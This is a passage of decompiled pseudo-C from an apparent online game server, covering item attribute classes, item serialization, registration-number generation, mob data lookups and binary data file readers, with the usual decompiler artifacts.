ItemAttrCls_Furniture::iac_SetEndureEndTime(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, ShineDateTime *dEndureEndTime) { int v3; // eax@2 int result; // eax@3 if ( iti && (v3 = ((int (__stdcall *)(_DWORD))this->baseclass_0.baseclass_0.vfptr->iac_GetEndureEndTime)(&iti->iti_itemstruct)) != 0 ) { *(_DWORD *)v3 = dEndureEndTime->_bf0; result = 1; } else { result = 0; } return result; } //----- (00557740) -------------------------------------------------------- int __thiscall ItemAttrCls_Furniture::iac_SetEndureEndTime(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, unsigned __int16 nAddEndureTime, unsigned __int16 nMaxEndure, tm *dCurTime) { int result; // eax@1 int v6; // ebx@2 unsigned int v7; // eax@9 tm *v8; // ecx@9 int v9; // esi@10 int v10; // eax@10 bool v11; // sf@10 unsigned __int8 v12; // of@10 tm *v13; // esi@10 int v14; // eax@12 int v15; // eax@14 int tAfter_MaxEndure; // [sp+4h] [bp-94h]@9 tm dCompEndEndureTime; // [sp+8h] [bp-90h]@10 tm dAfter_MaxEndure; // [sp+2Ch] [bp-6Ch]@9 tm dAfter_AddEndureTime; // [sp+50h] [bp-48h]@12 tm dCompCurTime; // [sp+74h] [bp-24h]@10 result = (int)iti; if ( iti ) { result = ((int (__stdcall *)(SHINE_ITEM_STRUCT *))this->baseclass_0.baseclass_0.vfptr->iac_GetEndureEndTime)(&iti->iti_itemstruct); v6 = result; if ( result ) { if ( !nMaxEndure ) { *(_DWORD *)result = 1992027391; return 1; } if ( *(_BYTE *)result == -1 ) return 1; if ( dCurTime ) { memcpy((void *)&dAfter_MaxEndure, dCurTime, sizeof(dAfter_MaxEndure)); dAfter_MaxEndure.tm_hour += nMaxEndure; tAfter_MaxEndure = mktime(&dAfter_MaxEndure); v7 = *(_DWORD *)v6; v8 = &dAfter_MaxEndure; if ( (unsigned __int8)*(_DWORD *)v6 ) { dCompEndEndureTime.tm_year = (unsigned __int8)*(_DWORD *)v6 + 100; dCompEndEndureTime.tm_mon = ((v7 >> 8) & 0x1F) - 1; dCompEndEndureTime.tm_mday = (v7 >> 13) & 0x3F; dCompEndEndureTime.tm_min = v7 >> 25; dCompEndEndureTime.tm_hour = (v7 >> 19) & 0x3F; dCompEndEndureTime.tm_sec = 0; memcpy((void *)&dCompCurTime, dCurTime, sizeof(dCompCurTime)); v9 = mktime(&dCompCurTime); v10 = mktime(&dCompEndEndureTime); v12 = __OFSUB__(v10, v9); v11 = v10 - v9 < 0; v13 = dCurTime; if ( !(v11 ^ v12) ) v13 = &dCompEndEndureTime; memcpy((void *)&dAfter_AddEndureTime, v13, sizeof(dAfter_AddEndureTime)); dAfter_AddEndureTime.tm_hour += nAddEndureTime; v14 = mktime(&dAfter_AddEndureTime); v8 = &dAfter_MaxEndure; if ( tAfter_MaxEndure >= v14 ) v8 = &dAfter_AddEndureTime; } v15 = v8->tm_hour; *(_BYTE *)v6 = LOBYTE(v8->tm_year) - 100; *(_DWORD *)v6 = *(_DWORD *)v6 & 0xFF | (((unsigned __int16)v8->tm_mon + 1) << 8) & 0x1F00 | ((v8->tm_mday & 0x3F | (((v8->tm_min << 6) | v15 & 0x3F) << 6)) << 13); result = 1; } else { result = 0; } } } return result; } //----- (005578F0) -------------------------------------------------------- void __thiscall ItemAttrCls_Furniture::iac_SetEndureGrade(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, char nEndureGrade) { iti->iti_itemstruct.itemattr.amulet.option.optionlist[3].itemoption_type = nEndureGrade; } //----- (00557900) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_ActionItem::iac_SetDeteleDateTime(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, int hour, tm *curtime, int curhour) { ItemAttributeClass::iac_SetEndTime(&this->baseclass_0, (ShineDateTime *)&itm->itemattr, hour, curtime, curhour); return (ShineDateTime *)&itm->itemattr; } //----- (00557930) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Riding::iac_SetDeteleDateTime(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm, int hour, tm *curtime, int curhour) { ItemAttributeClass::iac_SetEndTime( &this->baseclass_0.baseclass_0, (ShineDateTime *)((char *)&itm->itemattr.dlot.lot + 2), hour, curtime, curhour); return (ShineDateTime *)((char *)&itm->itemattr.dlot.lot + 2); } //----- (00557960) -------------------------------------------------------- void __thiscall ItemAttributeClassContainer::ItemAttributeClassContainer(ItemAttributeClassContainer *this) { ItemAttributeClassContainer *v1; // ebp@1 this->iacc_default.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_bytelot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_ByteLot::_vftable_; this->iacc_wordlot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_WordLot::_vftable_; this->iacc_dwrdlot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_DwrdLot::_vftable_; this->iacc_quest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_QuestLot::_vftable_; this->iacc_amulet.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Amulet::_vftable_; this->iacc_weapon.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Weapon::_vftable_; this->iacc_armor.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Armor::_vftable_; this->iacc_shield.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Shield::_vftable_; this->iacc_boot.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Boot::_vftable_; this->iacc_furniture.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Furniture::_vftable_; this->iacc_decorate.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Decoration::_vftable_; this->iacc_skillscroll.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_SkillScroll::_vftable_; this->iacc_recallscroll.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_RecallScroll::_vftable_; this->iacc_binditem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_BindItem::_vftable_; this->iacc_upsource.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_UpSource::_vftable_; this->iacc_itemchest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_ItemChest::_vftable_; this->iacc_weapontitlalicence.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_WeaponTitlaLicence::_vftable_; this->iacc_kingdomquest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_KingdomQuestItem::_vftable_; this->iacc_minihouseskin.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_MiniHouseSkin::_vftable_; this->iacc_upgraderedgem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_UpgradeRedGem::_vftable_; this->iacc_upgradebluegem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_UpgradeBlueGem::_vftable_; this->iacc_upgradegoldgem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_UpgradeGoldGem::_vftable_; this->iacc_kqstep.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_KQStep::_vftable_; this->iacc_feed.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Feed::_vftable_; this->iacc_riding.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Riding::_vftable_; this->iacc_amount.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Amount::_vftable_; this->iacc_costumweapon.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_CostumWeapon::_vftable_; this->iacc_actionitem.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_ActionItem::_vftable_; v1 = this; v1->iacc_Array[0] = (ItemAttributeClass *)v1; v1->iacc_Array[1] = (ItemAttributeClass *)v1; v1->iacc_Array[2] = (ItemAttributeClass *)v1; v1->iacc_Array[3] = (ItemAttributeClass *)v1; v1->iacc_Array[4] = (ItemAttributeClass *)v1; v1->iacc_Array[5] = (ItemAttributeClass *)v1; v1->iacc_Array[6] = (ItemAttributeClass *)v1; v1->iacc_Array[7] = (ItemAttributeClass *)v1; v1->iacc_Array[8] = (ItemAttributeClass *)v1; v1->iacc_Array[9] = (ItemAttributeClass *)v1; v1->iacc_Array[10] = (ItemAttributeClass *)v1; v1->iacc_Array[11] = (ItemAttributeClass *)v1; v1->iacc_Array[12] = (ItemAttributeClass *)v1; v1->iacc_Array[13] = (ItemAttributeClass *)v1; v1->iacc_Array[14] = (ItemAttributeClass *)v1; v1->iacc_Array[15] = (ItemAttributeClass *)v1; v1->iacc_Array[16] = (ItemAttributeClass *)v1; v1->iacc_Array[17] = (ItemAttributeClass *)v1; v1->iacc_Array[18] = (ItemAttributeClass *)v1; v1->iacc_Array[19] = (ItemAttributeClass *)v1; v1->iacc_Array[20] = (ItemAttributeClass *)v1; v1->iacc_Array[21] = (ItemAttributeClass *)v1; v1->iacc_Array[22] = (ItemAttributeClass *)v1; v1->iacc_Array[23] = (ItemAttributeClass *)v1; v1->iacc_Array[24] = (ItemAttributeClass *)v1; v1->iacc_Array[25] = (ItemAttributeClass *)v1; v1->iacc_Array[26] = (ItemAttributeClass *)v1; v1->iacc_Array[27] = (ItemAttributeClass *)v1; this->iacc_Array[0] = (ItemAttributeClass *)&this->iacc_bytelot; this->iacc_Array[4] = (ItemAttributeClass *)&this->iacc_amulet; this->iacc_Array[5] = (ItemAttributeClass *)&this->iacc_weapon; this->iacc_Array[6] = (ItemAttributeClass *)&this->iacc_armor; this->iacc_Array[7] = (ItemAttributeClass *)&this->iacc_shield; v1->iacc_Array[1] = (ItemAttributeClass *)&v1->iacc_wordlot; v1->iacc_Array[2] = (ItemAttributeClass *)&v1->iacc_dwrdlot; v1->iacc_Array[3] = (ItemAttributeClass *)&v1->iacc_quest; this->iacc_Array[8] = (ItemAttributeClass *)&this->iacc_boot; this->iacc_Array[9] = (ItemAttributeClass *)&this->iacc_furniture; this->iacc_Array[10] = (ItemAttributeClass *)&this->iacc_decorate; this->iacc_Array[11] = (ItemAttributeClass *)&this->iacc_skillscroll; this->iacc_Array[12] = (ItemAttributeClass *)&this->iacc_recallscroll; this->iacc_Array[13] = (ItemAttributeClass *)&this->iacc_binditem; this->iacc_Array[14] = (ItemAttributeClass *)&this->iacc_upsource; this->iacc_Array[15] = (ItemAttributeClass *)&this->iacc_itemchest; this->iacc_Array[16] = (ItemAttributeClass *)&this->iacc_weapontitlalicence; this->iacc_Array[17] = (ItemAttributeClass *)&this->iacc_kingdomquest; this->iacc_Array[18] = (ItemAttributeClass *)&this->iacc_minihouseskin; this->iacc_Array[19] = (ItemAttributeClass *)&this->iacc_upgraderedgem; this->iacc_Array[20] = (ItemAttributeClass *)&this->iacc_upgradebluegem; this->iacc_Array[25] = (ItemAttributeClass *)&this->iacc_upgradegoldgem; this->iacc_Array[21] = (ItemAttributeClass *)&this->iacc_kqstep; this->iacc_Array[22] = (ItemAttributeClass *)&this->iacc_feed; this->iacc_Array[23] = (ItemAttributeClass *)&this->iacc_riding; this->iacc_Array[24] = (ItemAttributeClass *)&this->iacc_amount; this->iacc_Array[26] = (ItemAttributeClass *)&this->iacc_costumweapon; this->iacc_Array[27] = (ItemAttributeClass *)&this->iacc_actionitem; } // 5E4F08: using guessed type int (__stdcall *ItemAttributeClass___vftable_[2])(int itm, int buffer); // 5E4F98: using guessed type int (__stdcall *ItemAttrCls_ByteLot___vftable_[2])(int itm, int buffer); // 5E5028: using guessed type int (__stdcall *ItemAttrCls_WordLot___vftable_[2])(int itm, int buffer); // 5E50B8: using guessed type int (__stdcall *ItemAttrCls_DwrdLot___vftable_[2])(int itm, int buffer); // 5E5148: using guessed type int (__stdcall *ItemAttrCls_QuestLot___vftable_[2])(int itm, int buffer); // 5E51D8: using guessed type int (__stdcall *ItemAttrCls_Amulet___vftable_[2])(int itm, int buffer); // 5E5268: using guessed type int (__stdcall *ItemAttrCls_Weapon___vftable_[2])(int itm, int buffer); // 5E52F8: using guessed type int (__stdcall *ItemAttrCls_Armor___vftable_[2])(int itm, int buffer); // 5E5388: using guessed type int (__stdcall *ItemAttrCls_Shield___vftable_[2])(int itm, int buffer); // 5E5418: using guessed type int (__stdcall *ItemAttrCls_Boot___vftable_[2])(int itm, int buffer); // 5E54A8: using guessed type int (__stdcall *ItemAttrCls_Furniture___vftable_[2])(int itm, int buffer); // 5E5538: using guessed type int (__stdcall *ItemAttrCls_Decoration___vftable_[2])(int itm, int buffer); // 5E55C8: using guessed type int (__stdcall *ItemAttrCls_SkillScroll___vftable_[2])(int itm, int buffer); // 5E5658: using guessed type int (__stdcall *ItemAttrCls_RecallScroll___vftable_[2])(int itm, int buffer); // 5E56E8: using guessed type int (__stdcall *ItemAttrCls_BindItem___vftable_[2])(int itm, int buffer); // 5E5778: using guessed type int (__stdcall *ItemAttrCls_UpSource___vftable_[2])(int itm, int buffer); // 5E5808: using guessed type int (__stdcall *ItemAttrCls_ItemChest___vftable_[2])(int itm, int buffer); // 5E5898: using guessed type int (__stdcall *ItemAttrCls_WeaponTitlaLicence___vftable_[2])(int itm, int buffer); // 5E5928: using guessed type int (__stdcall *ItemAttrCls_KingdomQuestItem___vftable_[2])(int itm, int buffer); // 5E59B8: using guessed type int (__stdcall *ItemAttrCls_MiniHouseSkin___vftable_[2])(int itm, int buffer); // 5E5A48: using guessed type int (__stdcall *ItemAttrCls_UpgradeRedGem___vftable_[2])(int itm, int buffer); // 5E5AD8: using guessed type int (__stdcall *ItemAttrCls_UpgradeBlueGem___vftable_[2])(int itm, int buffer); // 5E5B68: using guessed type int (__stdcall *ItemAttrCls_UpgradeGoldGem___vftable_[2])(int itm, int buffer); // 5E5BF8: using guessed type int (__stdcall *ItemAttrCls_KQStep___vftable_[2])(int itm, int buffer); // 5E5C88: using guessed type int (__stdcall *ItemAttrCls_Feed___vftable_[2])(int itm, int buffer); // 5E5D18: using guessed type int (__stdcall *ItemAttrCls_Riding___vftable_[2])(int itm, int buffer); // 5E5DA8: using guessed type int (__stdcall *ItemAttrCls_Amount___vftable_[2])(int itm, int buffer); // 5E5E38: using guessed type int (__stdcall *ItemAttrCls_CostumWeapon___vftable_[2])(int itm, int buffer); // 5E5EC8: using guessed type int (__stdcall *ItemAttrCls_ActionItem___vftable_[2])(int itm, int buffer); //----- (00557B80) -------------------------------------------------------- void __thiscall ItemAttributeClassContainer::_ItemAttributeClassContainer(ItemAttributeClassContainer *this) { this->iacc_actionitem.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_costumweapon.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_amount.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_riding.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_feed.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_kqstep.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_upgradegoldgem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_upgradebluegem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_upgraderedgem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_minihouseskin.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_kingdomquest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_weapontitlalicence.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_itemchest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_upsource.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_binditem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_recallscroll.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_skillscroll.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_decorate.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_furniture.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_boot.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_shield.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_armor.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_weapon.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_amulet.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_quest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_dwrdlot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_wordlot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_bytelot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_default.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; } // 5E4F08: using guessed type int (__stdcall *ItemAttributeClass___vftable_[2])(int itm, int buffer); //----- (00557BE0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Amulet::iac_fill2buffer(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x2Au); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[17] >> 1) + 18] + ((unsigned int)(unsigned __int8)buffer[17] >> 1); } //----- (00557C10) -------------------------------------------------------- char *__thiscall ItemAttrCls_Weapon::iac_fill2buffer(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x45u); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[44] >> 1) + 45] + ((unsigned int)(unsigned __int8)buffer[44] >> 1); } //----- (00557C40) -------------------------------------------------------- char *__thiscall ItemAttrCls_Shield::iac_fill2buffer(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x20u); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[7] >> 1) + 8] + ((unsigned int)(unsigned __int8)buffer[7] >> 1); } //----- (00557C70) -------------------------------------------------------- char *__thiscall ItemAttrCls_Amulet::iac_fill2struct(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x2Au); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[17] >> 1) + 18] + ((unsigned int)(unsigned __int8)buffer[17] >> 1); } //----- (00557CA0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Weapon::iac_fill2struct(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x45u); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[44] >> 1) + 45] + ((unsigned int)(unsigned __int8)buffer[44] >> 1); } //----- (00557CD0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Shield::iac_fill2struct(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x20u); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[7] >> 1) + 8] + ((unsigned int)(unsigned __int8)buffer[7] >> 1); } //----- (00557D00) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Amulet::iac_GetAttrSize(ItemAttrCls_Amulet *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 3 * ((unsigned int)itmattr->amulet.option.fixed.optionnumber.str._bf0 >> 1) + 18; } //----- (00557D20) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Weapon::iac_GetAttrSize(ItemAttrCls_Weapon *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 3 * ((unsigned int)itmattr->weapon.option.fixed.optionnumber.str._bf0 >> 1) + 45; } //----- (00557D40) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Armor::iac_GetAttrSize(ItemAttrCls_Boot *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 3 * ((unsigned int)LOBYTE(itmattr->amulet.upgradeopton[0]) >> 1) + 8; } //----- (00557D60) -------------------------------------------------------- void __thiscall ItemAttributeClass::iac_itemcreate(ItemAttributeClass *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { *(_DWORD *)&itm->iti_registnum.binary.gap0[0] = -1; itm->iti_registnum.binary._bf4 = -1; memset(&itm->iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&itm->iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(itm->iti_itemstruct.itemattr.binditem.portal[9].y) = 0; itm->iti_itemstruct.itemid = -1; } //----- (00557D90) -------------------------------------------------------- char *__thiscall ItemTotalInformation::iti_fill2buffer_union(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer) { *(_WORD *)buffer = itmid; return (char *)((int (__stdcall *)(_DWORD, _DWORD))iac->vfptr->iac_fill2buffer)(&this->iti_itemstruct, buffer + 2); } //----- (00557DC0) -------------------------------------------------------- char *__thiscall ItemTotalInformation::iti_fill2buffer_atrib(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer) { return (char *)((int (__stdcall *)(_DWORD, _DWORD))iac->vfptr->iac_fill2buffer)(&this->iti_itemstruct, buffer); } //----- (00557DE0) -------------------------------------------------------- void __thiscall ItemTotalInformation::iti_mkregnum(ItemTotalInformation *this, int method, int zone, int world) { ItemTotalInformation *v4; // esi@1 int v5; // ecx@1 char v6; // dl@1 int v7; // eax@1 unsigned int v8; // eax@1 _SYSTEMTIME tmstr; // [sp+4h] [bp-10h]@1 v4 = this; GetLocalTime(&tmstr); v5 = *(_DWORD *)&v4->iti_registnum.binary.gap0[0] & 0xFC000000 | ((method & 0xF | 16 * (zone & 0x1F | 32 * (unsigned __int8)serial)) << 9); v6 = tmstr.wYear; v7 = tmstr.wSecond << 26; *(_DWORD *)&v4->iti_registnum.binary.gap0[0] = v5; ++serial; v8 = (unsigned int)&wholesaver.ws_savestore[740].esc_skill.buffer[1667] & v5 | v7; LOBYTE(v5) = LOBYTE(tmstr.wMonth); *(_DWORD *)&v4->iti_registnum.binary.gap0[0] = v8; v4->iti_registnum.binary._bf4 = tmstr.wMinute & 0x3F | ((tmstr.wHour & 0x1F | 32 * (tmstr.wDay & 0x1F | 32 * (v5 & 0xF | 16 * (32 * (world & 0x3F) | (v6 - 16) & 0x1F)))) << 6); } //----- (00557E90) -------------------------------------------------------- char *__thiscall ItemTotalInformation::iti_fill2buffer_whole(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer) { *(_QWORD *)buffer = *(_QWORD *)&this->iti_registnum.binary.gap0[0]; *((_WORD *)buffer + 4) = itmid; return (char *)((int (__stdcall *)(_DWORD, _DWORD))iac->vfptr->iac_fill2buffer)(&this->iti_itemstruct, buffer + 10); } //----- (00557EC0) -------------------------------------------------------- char *__thiscall ItemTotalInformation::iti_fill2struct_whole(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer) { char *v4; // edi@1 ItemAttributeClass *v5; // eax@1 *(_QWORD *)&this->iti_registnum.binary.gap0[0] = *(_QWORD *)buffer; v4 = (char *)&this->iti_itemstruct; this->iti_itemstruct.itemid = *((_WORD *)buffer + 4); v5 = ItemAttributeClassContainer::operator__(&itmattcontainer, *((_WORD *)buffer + 4)); return (char *)v5->vfptr->iac_fill2struct(v5, (SHINE_ITEM_STRUCT *)v4, buffer + 10); } //----- (00557F00) -------------------------------------------------------- int __thiscall MobDataBox::mdb_SpeciesDistance(MobDataBox *this, unsigned __int16 mobA, unsigned __int16 mobB) { MobDataBox::MobDataBoxIndex *v3; // eax@3 MobSpecies *v4; // ecx@3 MobSpecies *v5; // eax@3 int v6; // ebp@5 const char *v7; // edi@5 int v8; // eax@5 int result; // eax@9 if ( mobA != -1 && mobB != -1 && (v3 = this->mdb_index, v4 = v3[mobA].species, v5 = v3[mobB].species, v4) && v5 ) { v6 = 0; v7 = (const char *)v4->MobName; v8 = (char *)v5 - (char *)v4; while ( *v7 == 45 || strcmp(v7, &v7[v8]) ) { ++v6; v7 += 33; if ( v6 >= 4 ) return -1; } result = v6; } else { result = -1; } return result; } //----- (00557FB0) -------------------------------------------------------- MobInfo *__thiscall BinaryDataBox::operator__(BinaryDataBox *this, unsigned int index) { MobInfo *result; // eax@2 if ( index < this->baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) result = (MobInfo *)CDataReader::GetRecord(&this->baseclass_0.baseclass_0, index); else result = &this->bdb_defaultblock; return result; } //----- (00557FD0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x4A9u, 0x6Cu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00558080) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1B18u, 0xA3u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00558130) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xB85u, 0x9Cu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005581E0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x24Fu, 0x86u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00558290) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x25u, 8u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00558340) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 7u, 0x22u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); 